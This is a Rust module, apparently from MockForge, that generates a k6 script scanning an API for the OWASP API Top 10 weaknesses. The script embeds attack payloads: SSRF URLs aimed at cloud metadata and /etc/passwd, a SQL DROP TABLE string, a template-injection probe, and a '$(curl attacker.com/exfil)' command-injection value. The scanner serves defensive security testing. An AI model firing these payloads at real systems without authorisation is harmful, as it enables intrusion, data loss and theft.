1use super::categories::OwaspCategory;
7use super::config::OwaspApiConfig;
8use super::payloads::{InjectionPoint, OwaspPayload, OwaspPayloadGenerator};
9use crate::error::{BenchError, Result};
10use crate::security_payloads::escape_js_string;
11use crate::spec_parser::SpecParser;
12use handlebars::Handlebars;
13use serde_json::{json, Value};
14use std::collections::HashMap;
15
16pub struct OwaspApiGenerator {
18 config: OwaspApiConfig,
20 target_url: String,
22 operations: Vec<OperationInfo>,
24}
25
26#[derive(Debug, Clone)]
28pub struct OperationInfo {
29 pub method: String,
31 pub path: String,
33 pub operation_id: Option<String>,
35 pub path_params: Vec<PathParam>,
37 pub query_params: Vec<QueryParam>,
39 pub has_body: bool,
41 pub content_type: Option<String>,
43 pub requires_auth: bool,
45 pub tags: Vec<String>,
47}
48
49#[derive(Debug, Clone)]
51pub struct PathParam {
52 pub name: String,
53 pub param_type: String,
54 pub example: Option<String>,
55}
56
57#[derive(Debug, Clone)]
59pub struct QueryParam {
60 pub name: String,
61 pub param_type: String,
62 pub required: bool,
63}
64
65impl OwaspApiGenerator {
66 pub fn new(config: OwaspApiConfig, target_url: String, parser: &SpecParser) -> Self {
68 let operations = Self::extract_operations(parser);
69 Self {
70 config,
71 target_url,
72 operations,
73 }
74 }
75
76 fn extract_operations(parser: &SpecParser) -> Vec<OperationInfo> {
78 parser
79 .get_operations()
80 .into_iter()
81 .map(|op| {
82 let path_params: Vec<PathParam> = op
84 .path
85 .split('/')
86 .filter(|segment| segment.starts_with('{') && segment.ends_with('}'))
87 .map(|segment| {
88 let name = segment.trim_start_matches('{').trim_end_matches('}');
89 PathParam {
90 name: name.to_string(),
91 param_type: "string".to_string(),
92 example: None,
93 }
94 })
95 .collect();
96
97 OperationInfo {
98 method: op.method.to_uppercase(),
99 path: op.path.clone(),
100 operation_id: op.operation_id.clone(),
101 path_params,
102 query_params: Vec::new(),
103 has_body: matches!(op.method.to_uppercase().as_str(), "POST" | "PUT" | "PATCH"),
104 content_type: Some("application/json".to_string()),
105 requires_auth: true, tags: op.operation.tags.clone(),
107 }
108 })
109 .collect()
110 }
111
112 pub fn generate(&self) -> Result<String> {
114 let mut handlebars = Handlebars::new();
115
116 handlebars.register_helper("contains", Box::new(contains_helper));
118 handlebars.register_helper("eq", Box::new(eq_helper));
119
120 let template = self.get_script_template();
121 let data = self.build_template_data()?;
122
123 handlebars
124 .render_template(&template, &data)
125 .map_err(|e| BenchError::ScriptGenerationFailed(e.to_string()))
126 }
127
128 fn build_template_data(&self) -> Result<Value> {
130 let payload_generator = OwaspPayloadGenerator::new(self.config.clone());
131 let mut test_cases: Vec<Value> = Vec::new();
132
133 for category in self.config.categories_to_test() {
135 let category_tests = self.generate_category_tests(category, &payload_generator)?;
136 test_cases.extend(category_tests);
137 }
138
139 let categories = self.config.categories_to_test();
141 let test_api1 = categories.iter().any(|c| matches!(c, OwaspCategory::Api1Bola));
142 let test_api2 = categories.iter().any(|c| matches!(c, OwaspCategory::Api2BrokenAuth));
143 let test_api3 =
144 categories.iter().any(|c| matches!(c, OwaspCategory::Api3BrokenObjectProperty));
145 let test_api4 =
146 categories.iter().any(|c| matches!(c, OwaspCategory::Api4ResourceConsumption));
147 let test_api5 =
148 categories.iter().any(|c| matches!(c, OwaspCategory::Api5BrokenFunctionAuth));
149 let test_api6 = categories.iter().any(|c| matches!(c, OwaspCategory::Api6SensitiveFlows));
150 let test_api7 = categories.iter().any(|c| matches!(c, OwaspCategory::Api7Ssrf));
151 let test_api8 = categories.iter().any(|c| matches!(c, OwaspCategory::Api8Misconfiguration));
152 let test_api9 =
153 categories.iter().any(|c| matches!(c, OwaspCategory::Api9ImproperInventory));
154 let test_api10 =
155 categories.iter().any(|c| matches!(c, OwaspCategory::Api10UnsafeConsumption));
156
157 let base_path = self.config.base_path.clone().unwrap_or_default();
159 let build_path = |path: &str| -> String {
160 if base_path.is_empty() {
161 path.to_string()
162 } else {
163 format!("{}{}", base_path.trim_end_matches('/'), path)
164 }
165 };
166
167 let ops_with_path_params: Vec<Value> = self
169 .operations
170 .iter()
171 .filter(|op| op.path.contains('{'))
172 .map(|op| {
173 json!({
174 "method": op.method.to_lowercase(),
175 "path": build_path(&op.path),
176 })
177 })
178 .collect();
179
180 let get_operations: Vec<Value> = self
182 .operations
183 .iter()
184 .filter(|op| op.method.to_lowercase() == "get")
185 .map(|op| {
186 json!({
187 "method": op.method.to_lowercase(),
188 "path": build_path(&op.path),
189 })
190 })
191 .collect();
192
193 let auth_header_name = escape_js_string(&self.config.auth_header);
195 let valid_auth_token = self.config.valid_auth_token.as_ref().map(|t| escape_js_string(t));
196
197 Ok(json!({
198 "base_url": self.target_url,
199 "auth_header_name": auth_header_name,
200 "valid_auth_token": valid_auth_token,
201 "concurrency": self.config.concurrency,
202 "iterations": self.config.iterations,
203 "timeout_ms": self.config.timeout_ms,
204 "report_path": self.config.report_path.to_string_lossy(),
205 "categories_tested": categories.iter().map(|c| c.cli_name()).collect::<Vec<_>>(),
206 "test_cases": test_cases,
207 "operations": self.operations.iter().map(|op| json!({
208 "method": op.method.to_lowercase(),
209 "path": build_path(&op.path),
210 "operation_id": op.operation_id,
211 "has_body": op.has_body,
212 "requires_auth": op.requires_auth,
213 "has_path_params": op.path.contains('{'),
214 })).collect::<Vec<_>>(),
215 "ops_with_path_params": ops_with_path_params,
216 "get_operations": get_operations,
217 "verbose": self.config.verbose,
218 "insecure": self.config.insecure,
219 "custom_headers": self.config.custom_headers.iter()
221 .map(|(k, v)| json!({"name": escape_js_string(k), "value": escape_js_string(v)}))
222 .collect::<Vec<_>>(),
223 "has_custom_headers": !self.config.custom_headers.is_empty(),
224 "test_api1": test_api1,
226 "test_api2": test_api2,
227 "test_api3": test_api3,
228 "test_api4": test_api4,
229 "test_api5": test_api5,
230 "test_api6": test_api6,
231 "test_api7": test_api7,
232 "test_api8": test_api8,
233 "test_api9": test_api9,
234 "test_api10": test_api10,
235 }))
236 }
237
238 fn generate_category_tests(
240 &self,
241 category: OwaspCategory,
242 payload_generator: &OwaspPayloadGenerator,
243 ) -> Result<Vec<Value>> {
244 let payloads = payload_generator.generate_for_category(category);
245 let mut tests = Vec::new();
246
247 for payload in payloads {
248 let applicable_ops = self.get_applicable_operations(&payload);
250
251 for op in applicable_ops {
252 tests.push(json!({
253 "category": category.cli_name(),
254 "category_name": category.short_name(),
255 "description": payload.description,
256 "method": op.method.to_lowercase(),
257 "path": op.path,
258 "payload": payload.value,
259 "injection_point": format!("{:?}", payload.injection_point).to_lowercase(),
260 "has_body": op.has_body || payload.injection_point == InjectionPoint::Body,
261 "notes": payload.notes,
262 }));
263 }
264 }
265
266 Ok(tests)
267 }
268
269 fn get_applicable_operations(&self, payload: &OwaspPayload) -> Vec<&OperationInfo> {
271 match payload.injection_point {
272 InjectionPoint::PathParam => {
273 self.operations.iter().filter(|op| !op.path_params.is_empty()).collect()
275 }
276 InjectionPoint::Body => {
277 self.operations.iter().filter(|op| op.has_body).collect()
279 }
280 InjectionPoint::Header | InjectionPoint::Omit => {
281 self.operations.iter().filter(|op| op.requires_auth).collect()
283 }
284 InjectionPoint::QueryParam => {
285 self.operations.iter().collect()
287 }
288 InjectionPoint::Modify => {
289 self.operations.iter().collect()
291 }
292 }
293 }
294
295 fn get_script_template(&self) -> String {
297 r#"// OWASP API Security Top 10 Test Script
298// Generated by MockForge - https://mockforge.dev
299// Categories tested: {{#each categories_tested}}{{this}}{{#unless @last}}, {{/unless}}{{/each}}
300
301import http from 'k6/http';
302import { check, sleep, group } from 'k6';
303import { Trend, Counter, Rate } from 'k6/metrics';
304
305// Configuration
306const BASE_URL = '{{{base_url}}}';
307const AUTH_HEADER = '{{{auth_header_name}}}';
308{{#if valid_auth_token}}
309const VALID_TOKEN = '{{{valid_auth_token}}}';
310{{else}}
311const VALID_TOKEN = null;
312{{/if}}
313const TIMEOUT = '{{timeout_ms}}ms';
314const VERBOSE = {{verbose}};
315const INSECURE = {{insecure}};
316
317// Custom headers from CLI (e.g., Cookie, X-Custom-Header)
318const CUSTOM_HEADERS = {
319{{#each custom_headers}}
320 '{{{name}}}': '{{{value}}}',
321{{/each}}
322};
323
324// Custom metrics
325const findingsCounter = new Counter('owasp_findings');
326const testsRun = new Counter('owasp_tests_run');
327const vulnerableRate = new Rate('owasp_vulnerable_rate');
328const responseTime = new Trend('owasp_response_time');
329
330// Test options - use per-VU iterations scenario for controlled test runs
331export const options = {
332 scenarios: {
333 owasp_security_test: {
334 executor: 'per-vu-iterations',
335 vus: {{concurrency}},
336 iterations: {{iterations}}, // Iterations per VU
337 maxDuration: '30m',
338 },
339 },
340 thresholds: {
341 'owasp_findings': ['count<100'], // Alert if too many findings
342 },
343 insecureSkipTLSVerify: INSECURE,
344};
345
346// Findings storage
347const findings = [];
348
349// Helper: Log a finding
350function logFinding(category, endpoint, method, description, evidence) {
351 const finding = {
352 category,
353 endpoint,
354 method,
355 description,
356 evidence,
357 timestamp: new Date().toISOString(),
358 };
359 findings.push(finding);
360 findingsCounter.add(1);
361 vulnerableRate.add(1);
362
363 if (VERBOSE) {
364 console.log(`[FINDING] ${category} - ${method} ${endpoint}: ${description}`);
365 }
366}
367
368// Helper: Log test passed
369function logPass(category, endpoint, method) {
370 vulnerableRate.add(0);
371 if (VERBOSE) {
372 console.log(`[PASS] ${category} - ${method} ${endpoint}`);
373 }
374}
375
376// Helper: Generate a random UUID for path parameters
377// Uses crypto.randomUUID() which is globally available in k6 v1.0.0+
378function generateRandomId() {
379 return crypto.randomUUID();
380}
381
382// Helper: Replace path parameters with random UUIDs
383// Replaces all {param} patterns with new random UUIDs
384function replacePathParams(path) {
385 return path.replace(/{[^}]+}/g, () => generateRandomId());
386}
387
388// Helper: Make authenticated request
389function authRequest(method, url, body, additionalHeaders = {}) {
390 const headers = {
391 'Content-Type': 'application/json',
392 ...CUSTOM_HEADERS,
393 ...additionalHeaders,
394 };
395
396 if (VALID_TOKEN) {
397 headers[AUTH_HEADER] = VALID_TOKEN;
398 }
399
400 const params = {
401 headers,
402 timeout: TIMEOUT,
403 };
404
405 // k6 uses 'del' instead of 'delete'
406 const httpMethod = method === 'delete' ? 'del' : method;
407
408 if (httpMethod === 'get' || httpMethod === 'head') {
409 return http[httpMethod](url, params);
410 } else {
411 return http[httpMethod](url, body ? JSON.stringify(body) : null, params);
412 }
413}
414
415// Helper: Make unauthenticated request
416function unauthRequest(method, url, body, additionalHeaders = {}) {
417 const headers = {
418 'Content-Type': 'application/json',
419 ...CUSTOM_HEADERS,
420 ...additionalHeaders,
421 };
422
423 const params = {
424 headers,
425 timeout: TIMEOUT,
426 };
427
428 // k6 uses 'del' instead of 'delete'
429 const httpMethod = method === 'delete' ? 'del' : method;
430
431 if (httpMethod === 'get' || httpMethod === 'head') {
432 return http[httpMethod](url, params);
433 } else {
434 return http[httpMethod](url, body ? JSON.stringify(body) : null, params);
435 }
436}
437
438// API1: Broken Object Level Authorization (BOLA)
439function testBola() {
440 group('API1 - BOLA', function() {
441 console.log('[API1] Testing Broken Object Level Authorization...');
442
443 {{#each operations}}
444 {{#if has_path_params}}
445 // Test {{path}}
446 {
447 // Generate different random UUIDs for each test
448 const originalId = generateRandomId();
449 const targetId = generateRandomId();
450 const originalPath = '{{path}}'.replace(/{[^}]+}/g, originalId);
451 const targetPath = '{{path}}'.replace(/{[^}]+}/g, targetId);
452
453 if (VERBOSE) {
454 console.log(`[API1] Testing with IDs: ${originalId} -> ${targetId}`);
455 }
456
457 // Get baseline with first random ID
458 const baseline = authRequest('{{method}}', BASE_URL + originalPath, null);
459
460 // Try to access different random ID (simulating another user's resource)
461 const response = authRequest('{{method}}', BASE_URL + targetPath, null);
462 testsRun.add(1);
463 responseTime.add(response.timings.duration);
464
465 if (response.status >= 200 && response.status < 300) {
466 // Check if we got different data (potential BOLA vulnerability)
467 if (response.body !== baseline.body && response.body.length > 0) {
468 logFinding('api1', '{{path}}', '{{method}}',
469 'ID manipulation accepted - accessed different resource',
470 { status: response.status, originalId, targetId, bodyLength: response.body.length });
471 } else {
472 logPass('api1', '{{path}}', '{{method}}');
473 }
474 } else {
475 logPass('api1', '{{path}}', '{{method}}');
476 }
477 }
478 {{/if}}
479 {{/each}}
480 });
481}
482
483// API2: Broken Authentication
484function testBrokenAuth() {
485 group('API2 - Broken Authentication', function() {
486 console.log('[API2] Testing Broken Authentication...');
487
488 {{#each operations}}
489 {{#if requires_auth}}
490 // Test {{path}} without auth
491 {
492 const testPath = replacePathParams('{{path}}');
493 const response = unauthRequest('{{method}}', BASE_URL + testPath, null);
494 testsRun.add(1);
495 responseTime.add(response.timings.duration);
496
497 if (response.status >= 200 && response.status < 300) {
498 logFinding('api2', '{{path}}', '{{method}}',
499 'Endpoint accessible without authentication',
500 { status: response.status });
501 } else {
502 logPass('api2', '{{path}}', '{{method}}');
503 }
504 }
505
506 // Test {{path}} with empty token
507 {
508 const testPath = replacePathParams('{{path}}');
509 const httpMethod = '{{method}}' === 'delete' ? 'del' : '{{method}}';
510 const makeEmptyTokenRequest = (m, url, body, params) => {
511 if (m === 'get' || m === 'head') return http[m](url, params);
512 return http[m](url, body, params);
513 };
514 const response = makeEmptyTokenRequest(httpMethod, BASE_URL + testPath, null, {
515 headers: { [AUTH_HEADER]: 'Bearer ' },
516 timeout: TIMEOUT,
517 });
518 testsRun.add(1);
519
520 if (response.status >= 200 && response.status < 300) {
521 logFinding('api2', '{{path}}', '{{method}}',
522 'Endpoint accessible with empty Bearer token',
523 { status: response.status });
524 }
525 }
526 {{/if}}
527 {{/each}}
528 });
529}
530
531// API3: Broken Object Property Level Authorization (Mass Assignment)
532function testMassAssignment() {
533 group('API3 - Mass Assignment', function() {
534 console.log('[API3] Testing Mass Assignment...');
535
536 const massAssignmentPayloads = [
537 { role: 'admin' },
538 { is_admin: true },
539 { isAdmin: true },
540 { permissions: ['admin', 'write', 'delete'] },
541 { verified: true },
542 { email_verified: true },
543 { balance: 999999 },
544 ];
545
546 {{#each operations}}
547 {{#if has_body}}
548 // Test {{path}}
549 {
550 const testPath = replacePathParams('{{path}}');
551 massAssignmentPayloads.forEach(payload => {
552 const response = authRequest('{{method}}', BASE_URL + testPath, payload);
553 testsRun.add(1);
554 responseTime.add(response.timings.duration);
555
556 if (response.status >= 200 && response.status < 300) {
557 // Check if unauthorized field appears in response
558 const responseBody = response.body.toLowerCase();
559 const payloadKey = Object.keys(payload)[0].toLowerCase();
560
561 if (responseBody.includes(payloadKey)) {
562 logFinding('api3', '{{path}}', '{{method}}',
563 `Mass assignment accepted: ${payloadKey}`,
564 { status: response.status, payload });
565 } else {
566 logPass('api3', '{{path}}', '{{method}}');
567 }
568 }
569 });
570 }
571 {{/if}}
572 {{/each}}
573 });
574}
575
576// API4: Unrestricted Resource Consumption
577function testResourceConsumption() {
578 group('API4 - Resource Consumption', function() {
579 console.log('[API4] Testing Resource Consumption...');
580
581 {{#each operations}}
582 // Test {{path}} with excessive limit
583 {
584 const testPath = replacePathParams('{{path}}');
585 const url = BASE_URL + testPath + '?limit=100000&per_page=100000';
586 const response = authRequest('{{method}}', url, null);
587 testsRun.add(1);
588 responseTime.add(response.timings.duration);
589
590 // Check for rate limit headers
591 const hasRateLimit = response.headers['X-RateLimit-Limit'] ||
592 response.headers['x-ratelimit-limit'] ||
593 response.headers['RateLimit-Limit'];
594
595 if (response.status === 429) {
596 logPass('api4', '{{path}}', '{{method}}');
597 } else if (response.status >= 200 && response.status < 300 && !hasRateLimit) {
598 logFinding('api4', '{{path}}', '{{method}}',
599 'No rate limiting detected',
600 { status: response.status, hasRateLimitHeader: !!hasRateLimit });
601 } else {
602 logPass('api4', '{{path}}', '{{method}}');
603 }
604 }
605 {{/each}}
606 });
607}
608
609// API5: Broken Function Level Authorization
610function testFunctionAuth() {
611 group('API5 - Function Authorization', function() {
612 console.log('[API5] Testing Function Level Authorization...');
613
614 const adminPaths = [
615 '/admin',
616 '/admin/users',
617 '/admin/settings',
618 '/api/admin',
619 '/internal',
620 '/management',
621 ];
622
623 adminPaths.forEach(path => {
624 const response = authRequest('get', BASE_URL + path, null);
625 testsRun.add(1);
626 responseTime.add(response.timings.duration);
627
628 if (response.status >= 200 && response.status < 300) {
629 logFinding('api5', path, 'GET',
630 'Admin endpoint accessible',
631 { status: response.status });
632 } else if (response.status === 403 || response.status === 401) {
633 logPass('api5', path, 'GET');
634 }
635 });
636
637 // Also test changing methods on read-only endpoints
638 {{#each get_operations}}
639 {
640 const testPath = replacePathParams('{{path}}');
641 const response = authRequest('delete', BASE_URL + testPath, null);
642 testsRun.add(1);
643
644 if (response.status >= 200 && response.status < 300) {
645 logFinding('api5', '{{path}}', 'DELETE',
646 'DELETE method allowed on read-only endpoint',
647 { status: response.status });
648 }
649 }
650 {{/each}}
651 });
652}
653
654// API7: Server Side Request Forgery (SSRF)
655function testSsrf() {
656 group('API7 - SSRF', function() {
657 console.log('[API7] Testing Server Side Request Forgery...');
658
659 const ssrfPayloads = [
660 'http://localhost/',
661 'http://127.0.0.1/',
662 'http://169.254.169.254/latest/meta-data/',
663 'http://[::1]/',
664 'file:///etc/passwd',
665 ];
666
667 {{#each operations}}
668 {{#if has_body}}
669 // Test {{path}} with SSRF payloads
670 {
671 const testPath = replacePathParams('{{path}}');
672 ssrfPayloads.forEach(payload => {
673 const body = {
674 url: payload,
675 webhook_url: payload,
676 callback: payload,
677 image_url: payload,
678 };
679
680 const response = authRequest('{{method}}', BASE_URL + testPath, body);
681 testsRun.add(1);
682 responseTime.add(response.timings.duration);
683
684 if (response.status >= 200 && response.status < 300) {
685 // Check for indicators of internal access
686 const bodyLower = response.body.toLowerCase();
687 const internalIndicators = ['localhost', '127.0.0.1', 'instance-id', 'ami-id', 'root:'];
688
689 if (internalIndicators.some(ind => bodyLower.includes(ind))) {
690 logFinding('api7', '{{path}}', '{{method}}',
691 `SSRF vulnerability - internal data exposed with payload: ${payload}`,
692 { status: response.status, payload });
693 }
694 }
695 });
696 }
697 {{/if}}
698 {{/each}}
699 });
700}
701
702// API8: Security Misconfiguration
703function testMisconfiguration() {
704 group('API8 - Security Misconfiguration', function() {
705 console.log('[API8] Testing Security Misconfiguration...');
706
707 {{#each operations}}
708 // Test {{path}} for security headers
709 {
710 const testPath = replacePathParams('{{path}}');
711 const response = authRequest('{{method}}', BASE_URL + testPath, null);
712 testsRun.add(1);
713 responseTime.add(response.timings.duration);
714
715 const missingHeaders = [];
716
717 if (!response.headers['X-Content-Type-Options'] && !response.headers['x-content-type-options']) {
718 missingHeaders.push('X-Content-Type-Options');
719 }
720 if (!response.headers['X-Frame-Options'] && !response.headers['x-frame-options']) {
721 missingHeaders.push('X-Frame-Options');
722 }
723 if (!response.headers['Strict-Transport-Security'] && !response.headers['strict-transport-security']) {
724 missingHeaders.push('Strict-Transport-Security');
725 }
726
727 // Check for overly permissive CORS
728 const acao = response.headers['Access-Control-Allow-Origin'] || response.headers['access-control-allow-origin'];
729 if (acao === '*') {
730 logFinding('api8', '{{path}}', '{{method}}',
731 'CORS allows all origins (Access-Control-Allow-Origin: *)',
732 { status: response.status });
733 }
734
735 if (missingHeaders.length > 0) {
736 logFinding('api8', '{{path}}', '{{method}}',
737 `Missing security headers: ${missingHeaders.join(', ')}`,
738 { status: response.status, missingHeaders });
739 }
740 }
741 {{/each}}
742
743 // Test for verbose errors
744 {{#each operations}}
745 {{#if has_body}}
746 {
747 const testPath = replacePathParams('{{path}}');
748 const malformedBody = '{"invalid": "json';
749 const response = http.{{method}}(BASE_URL + testPath, malformedBody, {
750 headers: { 'Content-Type': 'application/json' },
751 timeout: TIMEOUT,
752 });
753 testsRun.add(1);
754
755 const errorIndicators = ['stack trace', 'exception', 'at line', 'syntax error'];
756 const bodyLower = response.body.toLowerCase();
757
758 if (errorIndicators.some(ind => bodyLower.includes(ind))) {
759 logFinding('api8', '{{path}}', '{{method}}',
760 'Verbose error messages exposed',
761 { status: response.status });
762 }
763 }
764 {{/if}}
765 {{/each}}
766 });
767}
768
769// API9: Improper Inventory Management
770function testInventory() {
771 group('API9 - Inventory Management', function() {
772 console.log('[API9] Testing Improper Inventory Management...');
773
774 const discoveryPaths = [
775 '/swagger',
776 '/swagger-ui',
777 '/swagger.json',
778 '/api-docs',
779 '/openapi',
780 '/openapi.json',
781 '/graphql',
782 '/graphiql',
783 '/debug',
784 '/actuator',
785 '/actuator/health',
786 '/actuator/env',
787 '/metrics',
788 '/.env',
789 '/config',
790 ];
791
792 const apiVersions = ['v1', 'v2', 'v3', 'api/v1', 'api/v2'];
793
794 discoveryPaths.forEach(path => {
795 const response = http.get(BASE_URL + path, { timeout: TIMEOUT });
796 testsRun.add(1);
797 responseTime.add(response.timings.duration);
798
799 if (response.status !== 404) {
800 logFinding('api9', path, 'GET',
801 `Undocumented endpoint discovered (HTTP ${response.status})`,
802 { status: response.status });
803 }
804 });
805
806 // Check for old API versions
807 apiVersions.forEach(version => {
808 const response = http.get(BASE_URL + '/' + version + '/', { timeout: TIMEOUT });
809 testsRun.add(1);
810
811 if (response.status !== 404) {
812 logFinding('api9', '/' + version + '/', 'GET',
813 `API version endpoint exists (HTTP ${response.status})`,
814 { status: response.status });
815 }
816 });
817 });
818}
819
820// API10: Unsafe Consumption of APIs
821function testUnsafeConsumption() {
822 group('API10 - Unsafe Consumption', function() {
823 console.log('[API10] Testing Unsafe Consumption...');
824
825 const injectionPayloads = [
826 { external_id: "'; DROP TABLE users;--" },
827 { integration_data: "$(curl attacker.com/exfil)" },
828 { template: "\{{7*7}}" },
829 { webhook_url: "http://127.0.0.1:8080/internal" },
830 ];
831
832 {{#each operations}}
833 {{#if has_body}}
834 // Test {{path}} with injection payloads
835 {
836 const testPath = replacePathParams('{{path}}');
837 injectionPayloads.forEach(payload => {
838 const response = authRequest('{{method}}', BASE_URL + testPath, payload);
839 testsRun.add(1);
840 responseTime.add(response.timings.duration);
841
842 // Check if payload was processed (e.g., SSTI returning 49)
843 if (response.body.includes('49')) {
844 logFinding('api10', '{{path}}', '{{method}}',
845 'Server-side template injection detected',
846 { status: response.status, payload });
847 }
848 });
849 }
850 {{/if}}
851 {{/each}}
852 });
853}
854
855// Main test function
856export default function() {
857 console.log('Starting OWASP API Top 10 Security Scan...');
858 console.log('Target: ' + BASE_URL);
859 console.log('');
860
861 {{#if test_api1}}
862 testBola();
863 {{/if}}
864 {{#if test_api2}}
865 testBrokenAuth();
866 {{/if}}
867 {{#if test_api3}}
868 testMassAssignment();
869 {{/if}}
870 {{#if test_api4}}
871 testResourceConsumption();
872 {{/if}}
873 {{#if test_api5}}
874 testFunctionAuth();
875 {{/if}}
876 {{#if test_api7}}
877 testSsrf();
878 {{/if}}
879 {{#if test_api8}}
880 testMisconfiguration();
881 {{/if}}
882 {{#if test_api9}}
883 testInventory();
884 {{/if}}
885 {{#if test_api10}}
886 testUnsafeConsumption();
887 {{/if}}
888
889 sleep(0.1);
890}
891
892// Teardown: Output results
893export function teardown(data) {
894 console.log('');
895 console.log('='.repeat(50));
896 console.log('OWASP API Top 10 Scan Complete');
897 console.log('='.repeat(50));
898 console.log('Total findings: ' + findings.length);
899
900 if (findings.length > 0) {
901 console.log('');
902 console.log('Findings by category:');
903 const byCategory = {};
904 findings.forEach(f => {
905 byCategory[f.category] = (byCategory[f.category] || 0) + 1;
906 });
907 Object.entries(byCategory).forEach(([cat, count]) => {
908 console.log(' ' + cat + ': ' + count);
909 });
910 }
911
912 // Write JSON report
913 console.log('');
914 console.log('Report written to: {{report_path}}');
915}
916"#.to_string()
917 }
918}
919
920fn contains_helper(
922 h: &handlebars::Helper,
923 _: &Handlebars,
924 _: &handlebars::Context,
925 _: &mut handlebars::RenderContext,
926 out: &mut dyn handlebars::Output,
927) -> handlebars::HelperResult {
928 let param1 = h.param(0).and_then(|v| v.value().as_str()).unwrap_or("");
929 let param2 = h.param(1).and_then(|v| v.value().as_str()).unwrap_or("");
930 let result = param1.contains(param2);
931 out.write(&result.to_string())?;
932 Ok(())
933}
934
935fn eq_helper(
937 h: &handlebars::Helper,
938 _: &Handlebars,
939 _: &handlebars::Context,
940 _: &mut handlebars::RenderContext,
941 out: &mut dyn handlebars::Output,
942) -> handlebars::HelperResult {
943 let param1 = h.param(0).map(|v| v.value());
944 let param2 = h.param(1).map(|v| v.value());
945 let result = param1 == param2;
946 out.write(&result.to_string())?;
947 Ok(())
948}
949
950#[cfg(test)]
951mod tests {
952 use super::*;
953
954 #[test]
955 fn test_generator_creation() {
956 let template = r#"
959 {{#each operations}}
960 // {{method}} {{path}}
961 {{/each}}
962 "#;
963
964 let handlebars = Handlebars::new();
965 let data = json!({
966 "operations": [
967 { "method": "GET", "path": "/users" },
968 { "method": "POST", "path": "/users" },
969 ]
970 });
971
972 let result = handlebars.render_template(template, &data);
973 assert!(result.is_ok());
974 }
975
976 #[test]
977 fn test_script_template_renders() {
978 let config = OwaspApiConfig::default()
979 .with_categories([OwaspCategory::Api1Bola])
980 .with_valid_auth_token("Bearer test123");
981
982 let template = r#"
983const AUTH = '{{auth_header_name}}';
984const TOKEN = '{{valid_auth_token}}';
985{{#each categories_tested}}
986// Testing: {{this}}
987{{/each}}
988 "#;
989
990 let handlebars = Handlebars::new();
991 let data = json!({
992 "auth_header_name": config.auth_header,
993 "valid_auth_token": config.valid_auth_token,
994 "categories_tested": config.categories_to_test().iter().map(|c| c.cli_name()).collect::<Vec<_>>(),
995 });
996
997 let result = handlebars.render_template(template, &data).unwrap();
998 assert!(result.contains("Authorization"));
999 assert!(result.contains("Bearer test123"));
1000 assert!(result.contains("api1"));
1001 }
1002}